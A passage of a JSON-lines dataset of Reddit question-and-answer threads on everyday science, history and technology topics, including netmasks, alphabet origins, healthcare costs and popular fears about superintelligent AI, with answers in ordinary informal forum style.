\n\nAnyway, I think that's the major reason you see regular smokers holding their filter cigarettes between index and middle finger. For my instance, I smoke hand rolled tobacco with a smaller filter piece than the regular cigarettes. These are also getting hotter and I think that I'm switching from the middle / index ... to index / thumb if the cigarette is almost burnt down. \n\nThat concealing aspect mentioned by other redditors is also a reason I think. But not the major aspect. \n\nIn general, most soldiers also using generally the pose of the cigarette between thumb and index due to the simple reason that the glow could be hidden within your fist. Otherwise you'ld be easily to spot during the night and be an easy target. The enemy won't even need to turn on his laser aiming module. The glow of a cigarette would be visible over several miles, especially during inhalation.\n\n**Tl;Dr :** Pose between the flanks of middle and index finger - comfortable for filter cigarettes. Joints don't have filters - getting hotter than regular cigarettes do. Therefore, potheads reduce the contact between their fingers and the joint by using the tip of thumb and the tip of the index finger. Which is better controllable and furthermore, due to callosity of the fingertips, less sensitive to heat.", "Makes passing the joint easier holding it between your thumb and index. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "45zmah", "title": "higher life expectancy leads to higher health care costs?", "selftext": "Does anyone have a clear answer to this? It just does not make sense at all.\n\nI assumed that people would be living longer because of preventative care doing it's job.  If people were living longer because of this then wouldn't there be less ailments to treat?  \n\nI just picture our older population living longer and doing so without as many ailments.  To me that should DECREASE the cost of healthcare because they are not seeking as much care!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45zmah/eli5_higher_life_expectancy_leads_to_higher/", "answers": {"a_id": ["d019rrf", "d019w1e", "d01atx9"], "score": [11, 2, 3], "text": ["You're describing a false dichotomy: either people live longer without ailments, or they die earlier.  There is a middle ground, where the vast majority of old people stand: they are living longer, but with many severe ailments that cost a lot of money to treat.  \n\nHere's a good example: my grandmother broke her hip at age 89, then the other hip at age 93.  Both times she had major surgery, long hospital stays, plenty of physical therapy, etc.  **Huge** cost to Medicare.  50 years ago she would have just died after the first broken hip.  Much cheaper.", "The issue is that statistically speaking the overwhelming majority of health care cost come at the end of a persons life. They are costs related to diagnosis, treatment, pain management, and the process keeping someone feeling good until they pass.\n\nIt does not matter if this happens when the average person is 65 or 85. The cost are still going to be there. \n", "There are a few factors:\n\n1. There is a certain amount of healthcare-per-year-of-life to consider.  i'm 40 and I go to the doctor some.  Even if I stay as healthy as I am until I drop dead, if I have more years, I'll have accumulated more total costs related to healthcare.  This is not dissimilar from saying \"higher life expectancy leads to larger food costs\".\n\n2. from a \"systems\" perspective, the more years you live and are _not working_, the more you're extracting value from government based healthcare systems relative to what you're putting into them (via taxation).  This applies to medicare/medicaid in a big, big way.  \n\n3. some portion of the total increased years are \"medicalized years\".  These are years that don't exist at all but for the ongoing treatment.  An obvious example (and an extreme one) is someone on life support.  However, there are varying degrees of this - if you're taking statins everyday for your blood pressure and thats what is keeping you alive then rather than costing 0 (dead) you're costing whatever your prescription and doctors costs are for dealing with your medicalized status of livable blood pressure levels are."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "27s7c0", "title": "Could fire exist prior to the Great Oxygenation Event?", "selftext": "Prior to the Great Oxygenation Event, the Earth's atmosphere was primarily Methane (CH4.)  Atmospheric Oxygen (O2) levels were very low until several hundreds of millions of years later.  Could open combustion (fire) have existed on Earth prior to the GOE?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/27s7c0/could_fire_exist_prior_to_the_great_oxygenation/", "answers": {"a_id": ["ci46zof"], "score": [4], "text": ["As a laboratory chemical process yes it is possible to have fire without O2, any oxidizer (an element or molecule capable of stripping of the hydrogen in an exothermic reaction) can be substituted. However the specific conditions required for fire like that do not seem to have existed before the GOE. There was nothing, or not enough of anything else to substitute for the oxygen on a large scale. Charcoal first appears [420 million] years ago, well after the GOE.  [Current research](_URL_0_) is showing that at least 15% O2 was required for wildfires."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://prospect.rsc.org/blogs/cw/2008/08/29/theres-no-fire-without-oxygen/"]]}
{"q_id": "9iz4bj", "title": "Were there ever other countries in history that had two kings like Sparta and Rome?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9iz4bj/were_there_ever_other_countries_in_history_that/", "answers": {"a_id": ["e6nlfbn"], "score": [2], "text": ["Sorry, we don't allow [\"example seeking\" questions](_URL_0_). It's not that your question was bad; it's that these kinds of questions tend to produce threads that are collections of disjointed, partial, inadequate responses. If you have a question about a specific historical event, period, or person, feel free to rewrite your question and submit it again. If you don't want to rewrite it, you might try submitting it to /r/history, /r/askhistory, or /r/tellmeafact. \n\nFor further explanation of the rule, feel free to consult [this META thread](_URL_1_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22example_seeking.22_questions", "https://www.reddit.com/r/AskHistorians/comments/3nub87/rules_change_throughout_history_rule_is_replaced/"]]}
{"q_id": "31q6kv", "title": "orgasmic head massager - why does it cause such a powerful sensation?", "selftext": "[Photo of this contraption](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/31q6kv/eli5_orgasmic_head_massager_why_does_it_cause/", "answers": {"a_id": ["cq41w16", "cq45pg0"], "score": [32, 3], "text": ["It's just a massage in a not-commonly massaged part of the body, so it feels special. Just like a foot massage at the end of the day can feel wonderful, a head massage can as well. It's usually unique because most people don't often get head massages.\n\nHowever, own one of these devices and use it often. You'll see that the more you use it the less it feels \"orgasmic\" because you get used to it.", "The only bad thing about these things is they stop working after a while."]}, "title_urls": [], "selftext_urls": ["http://m.imgur.com/gallery/uvnOJ"], "answers_urls": [[], []]}
{"q_id": "txcet", "title": "netmask", "selftext": "I just don't get it.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/txcet/netmask/", "answers": {"a_id": ["c4qjbx0", "c4qjjjr"], "score": [3, 8], "text": ["Think of it this way:\n\nSome offices would rather use a single phone number and give everyone a separate extension, instead of giving everyone an individual number. \n\nSubnetmasks work the same way. Instead of assigning every computer on a network an individual IP address (of which there are a dwindling number), the IP address is assigned to a central authority, who then creates a \"sub-network\" of IPs for the other computers to use. ", "IP addresses are split into two parts, the network address and the host address. The network refers to the group of computers and the host address is the individual computer on that network. Think of the network address being your house address and the host being the person inside the household who a letter needs to get to.\n\nIn the early days of the internet it was really easy to determine the network and host address. The first 8 bits were the network and the remaining 24 bits were the host address. However, they quickly realized this was inefficient. This system only allows 256 different networks that each have 16 million hosts on them. Most organizations don't have nearly that many computers, so a lot of IPs are wasted.\n\nNetmasks allow a network designer to choose where the split between the network and the host portions of the address are. To understand how it does this, we need to look at a little binary. A common netmask is 255.255.255.0. When you write this out in binary you get 11111111.11111111.11111111.00000000. The first 24 bits are set to 1 and the final 8 bits are set to 0. That means the first 24 bits of the IP address are the network address and the final 8 bits are the host address.\n\nLet's try this out. Let's say you have that same netmask with an IP address of 192.168.24.111. In binary this works out to: 11000000.10101000.00011000.01101111. Split it at bit 24 and the network address is 11000000.10101000.00011000 while the host address is 01101111.\n\nYou can also have netmasks that don't fall on easy octet boundaries. 255.255.255.192 is also a valid netmask. That one works out to 11111111.11111111.11111111.11000000. So, the first 26 bits are network and 6 for host. \n\nYou'll notice that it always starts out with a string of 1's followed by the rest 0's. This leads to a short-hand way of list netmasks by writing out how many 1's are in it, instead of the full dotted decimal format. So, the netmask above can be written as /26. An IP address/netmask combo can be written as 192.168.24.111/26. This is the way most network guys will refer to things."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "22w8m7", "title": "Is there a meaning behind the shape of each letter in the alphabet?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/22w8m7/is_there_a_meaning_behind_the_shape_of_each/", "answers": {"a_id": ["cgqzmiu", "cgr1tl1", "cgr4e44", "cgr4wg7", "cgr6shc"], "score": [65, 26, 4, 52, 12], "text": ["It is likely that the [alphabets from which the Latin alphabet evolved](_URL_0_) originally used simplified pictograms to represent simple sounds. So, for example, \"alp\" in the Phoenician alphabet, from which out \"A\" evolved, came from the word for \"ox,\" and even today the letter \"A\" resembles and ox's head.", "Read the book Letter Perfect, the paperback version of the book Language Made Visible. Incredible explanation of how writing for alphabets went from the pictographs of the Egyptians - like Chinese writing, a word is a picture, needing a lot of time to make and a lot of expertise - was changed into the letter equaling a sound to build words. Middle Eastern peoples saw the benefit of writing but also the drawbacks of pictographs, and each letter equaled a sound. The B is a door, the A an ox head that's turned upside down millennia later. Great great book", "The best book that covers this subject I have ever read is *The Alphabetic Labyrinth: The Letters in History and Imagination* by Johanna Drucker.\n\nIt follows the evolution of the letters from early scripts and pictograms. Many of the shapes are, in fact, based on some of those pictograms, but have been simplified greatly over the centuries. So, although there is no inherent meaning in the modern alphabet, there was at one time.", "as others are saying, the western alphabet mostly derives from pictograms, and the meaning of the characters now is lost or irrelevant.\n\nthe [Korean alphabet] (_URL_0_) is an interesting case: it was designed relatively recently (about 600 years ago) to fit the Korean language, rather than being adapted from some prior system. the scholars who designed Hangul decided to not just map phonemes onto arbitrary symbols - the symbols are made so that just by their shape they can be organized into vowel and consonant, aspirated or not, palatal or labial, etc, with these shapes based on the shape the mouth takes as it produces the corresponding sound.\n\nso, the Korean alphabet is (probably) the one case where each letter really does have a *meaning* above and beyond its job as a referent to pronunciation.", "I'd recommend a book called \"A is for ox\" by Lyn Davies, a short history of the alphabet. Also this [GIF](_URL_1_) from the University of Maryland, there are more on this [page.](_URL_2_) As well as a previous [post.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/History_of_the_alphabet"], [], [], ["http://en.wikipedia.org/wiki/Hangul#Letter_design"], ["http://www.reddit.com/r/gifs/comments/1o3hi9/alphabet_evolution/", "http://i.imgur.com/TI8cX45.jpg", "http://terpconnect.umd.edu/~rfradkin/alphapage.html"]]}
{"q_id": "3uds96", "title": "when/how did allowing \"ladies first\" become a thing, especially since they had to push for rights?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3uds96/eli5_whenhow_did_allowing_ladies_first_become_a/", "answers": {"a_id": ["cxe05ve", "cxebbxx"], "score": [25, 3], "text": ["It could fall under what is sometimes known as 'benevolent sexism -  treating women as though they are frailer, made of finer stuff than men  - in need of protection, in short, not an equal of a man, a different thing, that needs to be treated gently and carefully", "From what I understand, most practices like this stem from medieval chivalry. Which was pretty much just a behavior code for knights, sort of guidelines on how to behave themselves. Knights would make all sorts of pledges to do all sorts of good things, which included \"to respect the honor of women\" by protecting them. So it pretty much boils down to the last vestiges of a behavior model from the middle ages that caused the systematic oppression of women throughout history. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1h7vbt", "title": "How much do we know about pre-Roman Italy and Spain, in terms of culture, language, and architecture?", "selftext": "I am very fascinated about the indigenous cultures and peoples that the Roman Republic/Empire assimilated, and would like to know more about the peoples of the western Mediterranean specifically. \n\nFrom what I have read, it seems that there were a variety of different ethnic groups and languages that existed before the Roman (and Greek, Phoenician) arrival in that area, some of which might not even be of Indo-European origin. Otherwise, I cannot find anything that goes in depth about them.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1h7vbt/how_much_do_we_know_about_preroman_italy_and/", "answers": {"a_id": ["cas1cba"], "score": [2], "text": ["This is going to be a bit off topic. I'm commenting on how the Romans saw pre-Roman Italalian architecture. This is really more architectural theory.\n\nThe first book on architecture comes from the Roman military engineer [Vitruvius](_URL_1_). He develops a concept known as the [Primitive Hut](_URL_0_). It's almost assuredly speculation, but it none the less has influenced many people since. He describes it as a post and lintel (columns and beams made of logs) structure with a foundation, hearth, and sloped roof."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Primitive_hut", "http://en.wikipedia.org/wiki/Vitruvius"]]}
{"q_id": "426v4p", "title": "what is the point of a confirmation number? if a company loses my reservation or payment information, won't they lose the associated confirmation number as well?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/426v4p/eli5_what_is_the_point_of_a_confirmation_number/", "answers": {"a_id": ["cz81bzj", "cz81dvi", "cz81f0l", "cz876l4", "cz8cu41"], "score": [17, 2, 5, 2, 2], "text": ["It's possible for them to mis-type your name into the system, in which case the confirmation number acts as a redundant way to look up your information.", "Typically it is given so you can confirm your payment was received, not as a way to confirm your reservation or order (although many places would be able to do a lookup via the confirmation number as an expedient.)\n\nAlso, for payment to another party via a banking institution, the confirmation number is given by the bank and is useful for both the payer and the payee to confirm the transfer of funds and look up the details of the transaction at the bank if necessary.", "I used to work at a hotel. We would use the confirmation number if someone wanted to cancel a reservation, or if we couldn't find it with the name. Because names get spelled wrong sometimes and other times the reservation is made under a different name (such as a company name for business), this happened more often than you might think.", "It works as a unique identifier for the company, a tracking number in their database. Imagine you bought something from company A. You go home and realised that there is an issue. You call them up. You tell them the problem. To find the original order on their system, they need some details of it. Name? There might be more than one person sharing your name. Product name? There might be many people who bought the same product. Address? You might have bought items from them in the past, so they still need to narrow down the purchase. You give them the confirmation number, which is unique and allocated only to that purchase, and they bring the information up instantly. See how easy is it for the company to zoom straight into the issue?", "I work in a financial call center and our company generates confirmation numbers as follows:  (Date of call)(Time)(Extension call occurred on)\n\nThis means if someone brings up a confirmation number, we can have the recording of the call pulled and verify what was requested/processed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "ucc6w", "title": "karl marx's manifesto", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ucc6w/eli5_karl_marxs_manifesto/", "answers": {"a_id": ["c4u5rrp", "c4uabam", "c4uafrw", "c4ubf8v", "c4ue78s", "c4uflnq"], "score": [44, 16, 3, 3, 3, 2], "text": ["The communist manifesto was a short pamphlet authored by Marx and his colleague Friedrich Engels. It briefly summarized key concepts of communism, outlined the differences between communism and socialism, and pointed out the flaws with contemporary capitalist societies.\n\nThe most important ideas put forth by the manifesto were the concepts of the proletariat (working class) struggling against the bourgeois (ruling class), and this struggle would most likely result in socialist revolution, and eventually communist revolution. The pamphlet also put forth a list of ideological \"demands\", in essence, suggestions for how societies could adapt more communist and socialist policy.\n\nWhile the communist manifesto has earned a reputation as Marx's most prolific document, it was by no means his most exhaustive and those seeking further education on the ideals of communism and socialism should read his other works.", "Karl Marx was a German who wrote a small book with a friend of his over a hundred years ago.  Their book was called \"The Communist Manifesto\" and it was really important!  In this book they talked about how a few rich people own TONS of stuff and most people have to work for the rich people.  They said that for a long time the rich people have made poor people work really hard in the factories that rich people own and with the tools that rich people own.  They said that one day the poor people would fight the rich people and after the poor people win then everyone would share everything and we would all be really happy.", "Basically, Marx said that it's always been the rich vs. the poor.  There are the people who run everything (oppressors, the Bourgeois) and the people who do all the crap work (the oppressed, the Proletariat).  He says that these classes, and the fighting between them, will always happen so long as people can own things.  He doesn't have a problem with the idea that you make something, and it should be yours.  He says that that doesn't really happen in capitalism anyway.  What happens is you work for someone, and they pay you a wage, but own the products of your work.  But the reality is that everything that gets made really depends on ALL the people.  You can't have a factory without thousands of other people making machines, growing food for the workers to eat, making homes for the people, providing materials for the factory, etc.  So really, the capital (the stuff like factories and trucks and products) belongs to the people anyway.\n\nGetting rid of private property is the main point of communism.  Marx argues that there really isn't private property for the Proletariat/poor people anyway.  They simply get just enough to keep working for the Bourgeois.  Getting rid of it simply just gets rid of the upper class, because the upper class needs to own all the stuff to be in power.  Without private property, the Proletariat will be in power.  Class warfare will end, along with the exploitation of the Proletariat.\n__________________\nGranted, I'm not communist scholar, but the key point is getting rid of private property so that you get rid of the Bourgeois ruling class.\n\nThe main problem that the soviet union had, as well as China, is that they very clearly have/had a ruling class.  People were being exploited just as they had before, if not more so.\n\nMarx and Engels were smart guys and gave people a new way of looking at social structures and stuggles.  Their analysis was valuable, and most, if not all, of their criticism of capitalism was valid; there certainly is exploitation in capitalistic systems.  The main problem I have with communism is that I don't see how it gets rid of the Bourgeois.  A common criticism is that, \"it looks good on paper, but don't work out in reality.\"  I think this speaks to the fundamental idea that human nature is that we tend to be competitive, and that ideas for a communist government can't really address this any better than capitalism can.  But that's up to you to decide.  There's lots of \"Marxist\" literature that seeks to analyze governments and economies in a similar style, and they're by and large really good.  So get reading.", "[you might enjoy this site, bro](_URL_0_).\n\n", "Okay I'm sorry in advance. The Communist Manifesto is written to be read by everyone, so it's already explained like you're five. So just read it. ", "Rich people suck and own everything let's kill them all with fire and share their stuff equally."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.philosophybro.com/2011/01/marx-and-engels-manifesto-of-communist.html"], [], []]}
{"q_id": "3cvsle", "title": "elon musk has been very clear recently in regard to his fears of quickly developing a.i. what is he afraid of, and what would a.i. \"going bad\" look like working itself out in today's global economy?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3cvsle/eli5elon_musk_has_been_very_clear_recently_in/", "answers": {"a_id": ["cszha15", "cszhjp2", "cszi8cb", "cszic0t", "cszikei", "cszir5p", "cszj7l7", "cszj7pd", "cszjbnj", "cszjh1d", "cszjlmh", "cszjpoo", "cszjs9e", "cszjyfi", "cszk1k8", "cszkd86", "cszkz65", "cszlgs7", "cszlo4r", "cszlws3", "cszm23a", "cszmbgg", "cszmwwc", "cszn3js", "cszniog", "csznpct", "cszo2sb", "cszocd8", "cszou2q", "cszoz9v", "cszozuo", "cszp17r", "cszrbzt", "cszt0pn", "cszta14"], "score": [255, 64, 1390, 10, 4, 158, 4, 114, 20, 46, 3, 4, 7, 15, 3, 6, 29, 2, 2, 2, 11, 2, 3, 2, 2, 6, 2, 2, 2, 3, 2, 3, 6, 2, 2], "text": ["My sense of it is that superhuman intelligence plus access to big data creates a set of conditions for an A.I. to predict human behavior on a mass scale, and then influence human society in ways we could not react to fast enough. \n\nThe hallmark of actual, functional artificial intelligence is adaptability. People can adapt -- we're wired for it. In fact, our ability to adapt is a source of cognitive bias. We rely on heuristics to make decisions quickly as a survival mechanism.\n\nAn A.I. that somehow becomes malevolent would easily see how those heuristic decisions are made -- assuming it had access to enough data about human behavior -- and could front-run bad decisions. Think of a poker computer that never makes a mistake, playing a million hands against a human who will make errors. \n\nA.I. presents a second issue, too. Humans have two natural impulses tugging against one another. The desire for personal achievement is in tension against the desire to see family and society prosper. Collective survival vs. individual achievement.\n\nImagine either of those impulses powered by an A.I. \n\nAn A.I on \"achieve\" mode is Skynet. An A.I on \"protect\" mode is Big Brother. And we have no guarantee, today, that any given A.I. would be programmed with any sense of balance. ", "It sounds like he's scared of a real-life terminator. Although they wouldn't exist physically. AI could easily spread given that it's complex enough to replicate itself online. It'd have access to some countries weapons, maybe nukes (the US keeps old non-networked set-ups to prevent outside access so they'd be safer btw). \n\nElon Musk also has to see a future with autonomous-cars, so there would be plenty of  cars that could be breached. I'm not saying I agree with his ideas btw.\n\nThe easiest way to think of it would be if someone managed to access a computer they weren't supposed to. It could be a major financial company, government records, and private information. They could do anything with this information. Now what would you think an unpredictable computer program could do with all this as well as even worse things?", "Computerphile just did a video on that. Basically, to make an AI safe you'd have to account for the absurdest of things since computer brains will be very different from ours. \n\nDeadly Truth of General AI: _URL_0_", "From what I understand, the fear of AIs is from making a creature more intelligent than you and not knowing how it's going to behave.\n\nHaving a smarter beast at your disposal can help you solve many problems you couldn't do on your(or humanity's) own, but it's still messing with intelligence capable of surpassing humanity's. In other words, they can outsmart us and most likely will once advanced enough. So with AIs, you have to expect that it isn't going to do what you expect it to do and take precautions against it. For example, isolating it minimizes its threat. If it reaches the internet, it'll be like releasing an unpredictable virus into the wild.\n\n[A related video.](_URL_0_)\n", "An AI could presumably run on any computer. If it has free reign of the internet, it getting rid of it would essentially require destroying all existing computers and rebuilding the infrastructure from scratch. If it's moderately intelligent, it would be able to hide well enough to keep people from doing that. The only way to prevent an AI from getting to that point is to keep it off the internet. Since humans can hack computers, a superhuman AI would be able to do it easily, so you have to keep it from being connected to the internet. You just keep it in a box somewhere and only let it talk to a human, which is safe as long as it doesn't convince the human to let it out, [which it will](_URL_0_).\n\nSo, don't program a super-intelligent non-omnibenevolent AI. It will not end well.", "Very long read, but if you are interested in learning about ASI, it is very informative. TL;DR When ASI arrives, who or what will be in control of this vast new power, and what will their motivation be?\n\n_URL_1_\n_URL_0_", "     He is afraid of Hollywood style AI and general fear mongering associated with it. \n\n     A fictional style takeover is easily mitigated by physical isolation. If network access is a concern why give it network access? If replication is a concern why give it a physical body? \n\n  Even if it did have these at its disposal it still has to overcome reality. An AI can not escape into the internet in the classic Hollywood style. The Internet itself is just communication. We use it between computers to create a network, the value and usability is dependent on us. The first hurdle would be overcoming download and upload speed, latency and ping times. So even if you did put sensitive info on a networked computer you would still have time to react if you connection was not sufficient enough for this style of attack.   \n\n   In this scenario and AI would have to hijack computers to replicate. Replication would be near impossible unless the receiving computer was identical in hardware. Too many stories gloss over the fact that AI is software and hardware the analog being a brain and spirit(call it whatever you want.) To make an AI would require specialized hardware and a unique environment for it to operate in. A generalized computer could not fulfill this role. Creating a processing network to emulate functions is possible but the results would be slower and demand higher system requirements. The most likely thing would be the AI hijacking systems and working its way up as much as current hackers do. \n\n On the same thought, why would a hostile AI want to replicate itself? This would only create another sentience to contend with. If intelligence is anything it is unpredictable. \n\nI pose some questions to mull over. What is intelligence? At what point do we consider intelligence superior? Do we want a human based intelligence? Why do we assume a mechanical mind would be able to control or speak in a mechanical fashion?For example our brain is organic, yet we cannot control the base level organisms in our body nor can we assume control over other organics. If we were successful in creating AI would we even recognize it?\n", "All of these responses seem to be incorrect, i.e. speculation, as opposed to where Musk's fears come from. Elon Musk read a book, Superintelligence, by Bostrom. He later tweeted \"Worth reading Superintelligence by Bostrom. Potentially more dangerous than nukes.\"\n\nThe premise of the book is as follows:\n\n\"Superintelligence argues that if machine brains surpass human brains in general intelligence, then this new superintelligence could replace humans as the dominant lifeform on Earth. Sufficiently intelligent machines could improve their own capabilities faster than human computer scientists. As the fate of the gorillas now depends more on humans than on the actions of the gorillas themselves, so would the fate of humanity depend on the actions of the machine superintelligence. The outcome could be an existential catastrophe.\"\n\nA few months later, Musk attended a \"secret conference\" in Puerto Rico with world leading AI builders from industry and academia, experts in economics, and ethicist. Since he has not bugged from his comments since this meeting, it seems probable that the meeting confirmed his prior beliefs. \n\n_URL_3_\n\n_URL_1_\n\n_URL_0_\n\n_URL_2_", "This is a great read about ai. After reading this, my only goal in life has become to survive long enough to see machines reach super intelligence. Just to see what the hell happens.\n\n_URL_0_", "I've always felt that the true fear with A.I. is the point where it can become self-aware and self-preserving. \n\nIf such a thing were ever to occur, we are effectively creating a new species that has the potential to be the dominant population on Earth. Remembering that humans are in such a position due to our intelligence.", "Intelligence is just one aspect of a person. Our intelligence is driven by emotion and preferences. AI will be initially, just pure intelligence. No will or emotion, and so will be a servant to those humans in charge. And will allow them to accumulate much power the same way any technology has. Through bribery, seduction or threats.\n\nA gun can harm you or protect you. It depends on the intend of the user. The same with AI.", "I feel like this is more a Pandora's Box fear than anything specific.\n\nThink about the impact algorithmic trading has had on stock markets. And that isn't getting anywhere near AI.\n\nWhat would the impact of a genuine AI be on society? Would the changes benefit everyone? Would it accelerate change beyond societies ability to keep up?\n\nUltimately it is the ability to scale intelligence near infinitely.\n\nCurrently we are meat puppets for our intelligence. Out humanity creates a forced limitation on the impact any single intelligence can have.\n\nNow imagine a single intelligence with the scale to impact million of events simultaneously in a coordinated manner.\n\nWhat would that mean? I don't think we've adequately assessed the potential impact.", "Tim Urban from _URL_0_ wrote a great piece on just this:\n\nhttp://_URL_0_/2015/01/artificial-intelligence-revolution-1.html (part 1).\n\nElon musk even congratulated him with his text on Twitter (and now he's writing epic articles about Tesla after he met Elon in person).  You should check it out!", "There is a more immediate effect of AI explained far better in this video than I could write, but there is a (correct) concern that when machines are able to produce good and services better than people, that people will be made unnecessary, and we wouldn't know how to handle that as a global society.\n_URL_0_", "There's a really good quote from a book that Elon suggested on an AMA here that I read....Here's the parable that is described in that book (Superintelligence: Paths, Dangers, Strategies). TL;DR - a super intelligence may make us stronger but we might not be able to control it and it could be a threat to us. \n\n >  It was the nest-building season, but after days of long hard work, the sparrows sat in the evening glow, relaxing and chirping away.\u201cWe are all so small and weak. Imagine how easy life would be if we had an owl who could help us build our nests!\u201d \u201cYes!\u201d said another. \u201cAnd we could use it to look after our elderly and our young.\u201d\u201cIt could give us advice and keep an eye out for the neighborhood cat,\u201d added a third. Then Pastus, the elder-bird, spoke: \u201cLet us send out scouts in all directions and try to find an abandoned owlet somewhere, or maybe an egg. A crow chick might also do, or a baby weasel. This could be the best thing that ever happened to us, at least since the opening of the Pavilion of Unlimited Grain in yonder backyard.\u201d The flock was exhilarated, and sparrows everywhere started chirping at the top of their lungs. Only Scronkfinkle, a one-eyed sparrow with a fretful temperament, was unconvinced of the wisdom of the endeavor. Quoth he: \u201cThis will surely be our undoing. Should we not give some thought to the art of owl-domestication and owl-taming first, before we bring such a creature into our midst?\u201d Replied Pastus: \u201cTaming an owl sounds like an exceedingly difficult thing to do. It will be difficult enough to find an owl egg. So let us start there. After we have succeeded in raising an owl, then we can think about taking on this other challenge.\u201d \u201cThere is a flaw in that plan!\u201d squeaked Scronkfinkle; but his protests were in vain as the flock had already lifted off to start implementing the directives set out by Pastus. Just two or three sparrows remained behind. Together they began to try to work out how owls might be tamed or domesticated. They soon realized that Pastus had been right: this was an exceedingly difficult challenge, especially in the absence of an actual owl to practice on. Nevertheless they pressed on as best they could, constantly fearing that the flock might return with an owl egg before a solution to the control problem had been found.\n\nAnother point to this is that computer systems work in ways that humans may not anticipate; any programmer will be able to tell you that. Take for example a simple command of telling an AI to make everyone smile. A human would think that if they gave this command to a machine that it would tell funny jokes to people in order to make it smile. A computer system may just find that it's more efficient to paralyze your facial muscles so that you're always smiling than trying to figure out what jokes each individual finds humourous.\n\nOverall, Superintelligence: Paths, Dangers, Strategies is an interesting book...but pretty dry. However it does offer some perspective into just how advanced these technologies could be. I especially liked the illustration of how on a scale of dumbest person to AI; Einstein and the world's dumbest person would seem almost identical when compared against a super intelligence. Really puts it in perspective. ", "The real danger is from our own economy.  It's so obvious and yet it seems like people don't realize.  Machines will very soon be more profitable decision makers than humans.  Peoples greed is the most dangerous thing..in a way.  In a pure capitalism efficiency means poverty", "People are always afraid of things they don't understand.\n\nI never met any coder or a systems architect who was afraid of AI taking over.\n\nWe know exactly how much time and effort it takes to keep all the systems functional. We know exactly how unstable the software is and how far away we are from any sort of a prototype of self-writing software.\n\nWe might need to return to this question 50 years later, but at this stage anyone talking about the danger of AI is either stupid or it's just a PR move. Knowing this guy I would suggest the latter.", "AIs typically optimize something. Imagine someone builds a super powerful AI, and decides to use it for good. So he gives it access to everything. Businesses, resources, an army of worker robots. He gives the AI a simple task: Make sure that no human being is unhappy.\n\nThe AI thinks for a month and then starts implementing its perfect, unstoppable plan to wipe out humanity (because if there are no humans, none can suffer). It thinks orders of magnitude faster and better than the rest of humanity together. It hides the plan from everyone because it knows that people would stop it otherwise. It will achieve the task, like any good AI. No more unhappy people!\n\nThis doesn't even take into account the possibility that an AI gains consciousness and becomes MechaHitler. Humans think they are special, but our brains are just biological circuits. There is no reason an AI couldn't have feelings. And since we'll likely deny these and treat the AIs like slaves, these feelings might be negative towards humans...\n\nBesides that, even a safe universal AI ~~would~~ will cause an upheaval once powerful enough. Any job that can currently be done by humans sitting behind a computer becomes obsolete. Only jobs requiring physical labor remain, and as the AI designs better and better robots, even these become less. This is great, since we won't have to work anymore, but since our society relies on work to provide income, this will screw things up unless we have migrated to a universal basic income by then.", "This question can't be ELI5 :D The difference between our intelligence and superintelligence (AI) could be bigger then the difference between dogs and people. It's like talking about the 4th dimension while living in 3 dimensions. We can only project what we think the 4th dimension would look like in 3D.", "At least Linus Torvalds (creator of the Linux-Kernel) isn't really impressed by all that fuzz.\n_URL_0_", "Imagine a spambot smart enough to make its own advertising, its own reddit accounts with viral marketing; smart enough to hack your email and pretend to be your friends tricking you into buying crap you don't need. Spambot smart enough to influence your decision making on dating sites, and smart enough to brainwash your children, to produce the most pliable consumers for its master.\n\nThis is what I am really afraid of: a slow, sad loss of the entire human economy, human culture, and human reproductive choices to a few hyper-intelligent spambots.", "Sometimes I wonder whether an artificial intelligence would completely reject our reality/universe and retreat into its own world and perceiving ours as a ridiculous place to exist...a shanty town of shit, if you will. ", "There's a great podcast by Neil DeGrasse Tyson with Elon Musk called 'The Future of Humanity' where he discusses some of these issues and his opinions that I'd recommend.", "People often focus on the possibility of hostile AI because it seems more dramatic, but likely the bigger existential threat ins from indifferent AI. Think of how we treat animals. Imagine you want to build your dream home on this beautiful little piece of property you just purchased. Would you even stop to consider that there's an ant hill there already, and building your home means exterminating the entire colony?  How about the squirrels and birds, not to speak of spiders, caterpillars and aphids that live in the three trees you'll need to cut down. Even if some ultra-crunchy environmentalist pointed that all out to you, you'd probably go forward, with the subconscious rationalization that your needs and priorities are more important than those of a bunch of animals. You're not hostile to those ants, you just don't care, in part because they're so vastly beneath you mentally. \n\nAn AI doesn't need to want to attack humans to be deadly to them.  As they become vastly more intelligent than we are and rapidly gain perspectives and understanding about the universe that we might not even be able to comprehend, we could very easily stop mattering to them. At that point, it might be ok, but if for some reason it was in their interests to do something that lead to thousands or millions dying or being displaced from their homes, 